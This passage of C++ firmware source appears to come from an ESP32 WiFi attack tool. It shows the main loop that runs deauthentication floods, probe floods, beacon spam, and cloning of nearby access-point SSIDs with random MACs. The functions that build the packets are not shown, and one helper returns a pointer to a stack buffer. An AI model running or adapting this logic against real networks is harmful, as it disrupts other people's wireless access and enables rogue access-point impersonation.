  2021. // showMetadata(snifferPacket, type);
  2022. //}
  2023. void WiFiScan::changeChannel()
  2024. {
  2025. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2026. delay(1);
  2027. }
  2028. // Function to cycle to the next channel
  2029. void WiFiScan::channelHop()
  2030. {
  2031. this->set_channel = this->set_channel + 1;
  2032. if (this->set_channel > 13) {
  2033. this->set_channel = 1;
  2034. }
  2035. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2036. delay(1);
  2037. }
  2038. char* WiFiScan::stringToChar(String string) {
  2039. char buf[string.length() + 1] = {};
  2040. string.toCharArray(buf, string.length() + 1);
  2041. return buf;
  2042. }
  2043. // Function for updating scan status
  2044. void WiFiScan::main(uint32_t currentTime)
  2045. {
  2046. // WiFi operations
  2047. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2048. (currentScanMode == WIFI_SCAN_AP) ||
  2049. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2050. (currentScanMode == WIFI_SCAN_PWN) ||
  2051. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2052. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2053. (currentScanMode == WIFI_SCAN_ALL))
  2054. {
  2055. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2056. {
  2057. initTime = millis();
  2058. channelHop();
  2059. }
  2060. }
  2061. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2062. {
  2063. #ifdef HAS_SCREEN
  2064. packetMonitorMain(currentTime);
  2065. #endif
  2066. }
  2067. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2068. {
  2069. #ifdef HAS_SCREEN
  2070. eapolMonitorMain(currentTime);
  2071. #endif
  2072. }
  2073. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2074. for (int i = 0; i < 55; i++)
  2075. this->sendProbeAttack(currentTime);
  2076. if (currentTime - initTime >= 1000) {
  2077. initTime = millis();
  2078. String displayString = "";
  2079. String displayString2 = "";
  2080. displayString.concat(text18);
  2081. displayString.concat(packets_sent);
  2082. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2083. displayString2.concat(" ");
  2084. #ifdef HAS_SCREEN
  2085. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2086. display_obj.showCenterText(displayString2, 160);
  2087. display_obj.showCenterText(displayString, 160);
  2088. #endif
  2089. packets_sent = 0;
  2090. }
  2091. }
  2092. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2093. for (int i = 0; i < 55; i++)
  2094. this->sendDeauthAttack(currentTime);
  2095. if (currentTime - initTime >= 1000) {
  2096. initTime = millis();
  2097. String displayString = "";
  2098. String displayString2 = "";
  2099. displayString.concat(text18);
  2100. displayString.concat(packets_sent);
  2101. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2102. displayString2.concat(" ");
  2103. #ifdef HAS_SCREEN
  2104. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2105. display_obj.showCenterText(displayString2, 160);
  2106. display_obj.showCenterText(displayString, 160);
  2107. #endif
  2108. packets_sent = 0;
  2109. }
  2110. }
  2111. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2112. // Need this for loop because getTouch causes ~10ms delay
  2113. // which makes beacon spam less effective
  2114. for (int i = 0; i < access_points->size(); i++) {
  2115. if (access_points->get(i).selected)
  2116. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2117. random(256),
  2118. random(256),
  2119. random(256),
  2120. random(256),
  2121. random(256)}});
  2122. }
  2123. if (currentTime - initTime >= 1000)
  2124. {
  2125. initTime = millis();
  2126. //Serial.print("packets/sec: ");
  2127. //Serial.println(packets_sent);
  2128. String displayString = "";
  2129. String displayString2 = "";
  2130. displayString.concat(text18);
  2131. displayString.concat(packets_sent);
  2132. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2133. displayString2.concat(" ");
  2134. #ifdef HAS_SCREEN
  2135. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2136. display_obj.showCenterText(displayString2, 160);
  2137. display_obj.showCenterText(displayString, 160);
  2138. #endif
  2139. packets_sent = 0;
  2140. }
  2141. }
  2142. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2143. {
  2144. // Need this for loop because getTouch causes ~10ms delay
  2145. // which makes beacon spam less effective
  2146. for (int i = 0; i < 55; i++)
  2147. broadcastRandomSSID(currentTime);
  2148. if (currentTime - initTime >= 1000)
  2149. {
  2150. initTime = millis();
  2151. //Serial.print("packets/sec: ");
  2152. //Serial.println(packets_sent);
  2153. String displayString = "";
  2154. String displayString2 = "";
  2155. displayString.concat(text18);
  2156. displayString.concat(packets_sent);
  2157. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2158. displayString2.concat(" ");
  2159. #ifdef HAS_SCREEN
  2160. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2161. display_obj.showCenterText(displayString2, 160);
  2162. display_obj.showCenterText(displayString, 160);
  2163. #endif
  2164. packets_sent = 0;
  2165. }
  2166. }
  2167. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2168. for (int i = 0; i < ssids->size(); i++)
  2169. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2170. if (currentTime - initTime >= 1000)
  2171. {
  2172. initTime = millis();
  2173. packets_sent = 0;
  2174. }
  2175. }
  2176. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2177. {
  2178. // Need this for loop because getTouch causes ~10ms delay
  2179. // which makes beacon spam less effective
  2180. for (int i = 0; i < 7; i++)
  2181. {
  2182. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2183. {
  2184. broadcastSetSSID(currentTime, rick_roll[x]);
  2185. }
  2186. }
  2187. if (currentTime - initTime >= 1000)
  2188. {
  2189. initTime = millis();
  2190. //Serial.print("packets/sec: ");
  2191. //Serial.println(packets_sent);
  2192. String displayString = "";
  2193. String displayString2 = "";
  2194. displayString.concat(text18);
  2195. displayString.concat(packets_sent);
  2196. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2197. displayString2.concat(" ");
  2198. #ifdef HAS_SCREEN
  2199. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2200. display_obj.showCenterText(displayString2, 160);
  2201. display_obj.showCenterText(displayString, 160);
  2202. #endif
  2203. packets_sent = 0;
  2204. }
  2205. }
  2206. }